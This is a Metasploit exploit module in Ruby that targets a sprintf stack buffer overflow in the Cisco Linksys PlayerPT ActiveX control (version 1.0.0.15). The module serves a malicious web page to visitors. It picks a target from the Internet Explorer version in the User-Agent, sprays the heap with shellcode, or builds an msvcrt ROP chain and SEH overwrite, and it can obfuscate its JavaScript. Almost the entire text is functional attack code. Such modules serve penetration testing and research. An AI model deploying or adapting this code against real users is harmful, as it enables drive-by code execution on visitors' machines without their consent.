Cisco Linksys PlayerPT – ActiveX Control Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}", :method => "SetSource", :rank => NormalRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco Linksys PlayerPT ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15 as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in the SetSource method, allows to trigger a stack based buffer overflow which leads to code execution under the context of the user visiting a malicious web page. }, 'Author' => [ 'rgod', # Vulnerabilty Discovery and PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '80297' ], [ 'BID', '54588' ], [ 'EDB', '18641' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'BadChars' => "\x00\x0d\x0a\x5c", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Cisco Linksys PlayerPT ActiveX Control 1.0.0.15 [ 'Automatic', { } ], [ 'IE 6 on Windows XP SP3', { 'Spray' => true, 'SprayBlocks' => 0x185, 'SprayOffset' => '0x0', 'OffsetStackBottom' => 8556 } ], [ 'IE 7 on Windows XP SP3 / Windows Vista SP2', { 'Spray' => true, 'SprayBlocks' => 0x185, 'SprayOffset' => '0x0', 'OffsetStackBottom' => 3220 } ], [ 'IE 8 on Windows XP SP3', { 'Spray' => false, 'OffsetRop' => 160, 'Offset' => 456, 'Ret' => 0x1002c536, # ADD ESP,0A2C # RETN from PlayerPT.ocx 'OffsetStackBottom' => 4108 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Mar 22 2012', 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class ) end def get_spray(t, js_code, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['SprayOffset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < #{t['SprayBlocks']}; z++) { heap_obj.alloc(block); } JS return spray end # rop chain generated with mona.py def create_rop_chain() rop_gadgets = [ 0x77c2f271, # POP EBP # RETN [msvcrt.dll] 0x77c2f271, # skip 4 bytes [msvcrt.dll] 0x77c5335d, # POP EBX # RETN [msvcrt.dll] 0xffffffff, # 0x77c127e1, # INC EBX # RETN [msvcrt.dll] 0x77c127e1, # INC EBX # RETN [msvcrt.dll] 0x77c4e392, # POP EAX # RETN [msvcrt.dll] 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77c34de1, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] 0x77c479e2, # POP EDI # RETN [msvcrt.dll] 0x77c39f92, # RETN (ROP NOP) [msvcrt.dll] 0x77c3b8ba, # POP ESI # RETN [msvcrt.dll] 0x77c2aacc, # JMP [EAX] [msvcrt.dll] 0x77c4e392, # POP EAX # RETN [msvcrt.dll] 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] 0x77c51025, # ptr to 'push esp # ret ' [msvcrt.dll] ].pack("V*") return rop_gadgets end def get_payload(my_target) case my_target.name when /IE 6 on Windows XP SP3/ my_payload = "\x0c" * my_target['OffsetStackBottom'] return my_payload when /IE 7 on Windows XP SP3 \/ Windows Vista SP2/ my_payload = "\x0c" * my_target['OffsetStackBottom'] return my_payload when /IE 8 on Windows XP SP3/ my_payload = rand_text_alpha(my_target['OffsetRop']) my_payload << create_rop_chain my_payload << make_nops(my_target['Offset'] - my_payload.length) my_payload << generate_seh_record(my_target.ret) my_payload << payload.encoded my_payload << rand_text_alpha(my_target['OffsetStackBottom'] - my_payload.length) return my_payload end end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows Vista SP2 else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] print_status("User-agent: #{agent}") my_target = get_target(agent) # Avoid the attack if the victim doesn't have a setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end js = "" if my_target['Spray'] p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js = get_spray(my_target, js_code, js_nops) js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end end sploit = get_payload(my_target) sploit = sploit.gsub(/"/, "\\\"") html = <<-MYHTML <html> <head> <script> #{js} </script> </head> <body> <object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object> <script> obj.SetSource("","","","","#{sploit}"); </script> </body> </html> MYHTML html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end |